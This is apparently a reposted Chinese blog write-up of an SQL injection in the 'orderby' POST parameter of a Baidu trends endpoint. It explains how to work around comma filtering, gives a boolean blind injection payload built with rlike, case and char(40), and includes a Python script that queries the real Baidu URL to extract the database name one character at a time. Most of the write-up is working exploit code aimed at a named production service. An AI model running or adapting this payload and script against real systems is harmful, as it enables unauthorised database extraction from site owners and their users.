其他分享
首页 > 其他分享> > 百度一处orderby注入

百度一处orderby注入

作者:互联网

存在的post数据

POST: http://trends.baidu.com/tour/ajax/scenic

provinceId=26&timestamp=1437191757000&orderby=heat,desc

orderby参数存在注入

这里的逗号会被替换成空格 也就是order by heat desc

所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的

因为不能带逗号所以不能形成如下的注入语句

order by id desc,if((116>115),1,(select 1 from information_schema.tables))

经过测试发现可用如下payload

heat,rlike case when (1=1) then 1 else char(40) end

因为不支持0x28这种格式所以换成char(40)
1=1时正常
1=2时异常
形成bool盲注

写成脚本

import urllib
import urllib2
import httplib
import time
user = ''
for i in range(1,7):
    for j in range(32,127):
        values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}
        data = urllib.urlencode(values)
        req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)
        response = urllib2.urlopen(req)
        html =  response.read()
        if html.find('"status":403')==-1:
            user = user + chr(j)
            print 'Database is : '+user
            break

标签:orderby,一处,char,heat,user,import,百度,desc
来源: https://www.cnblogs.com/orangew/p/11757884.html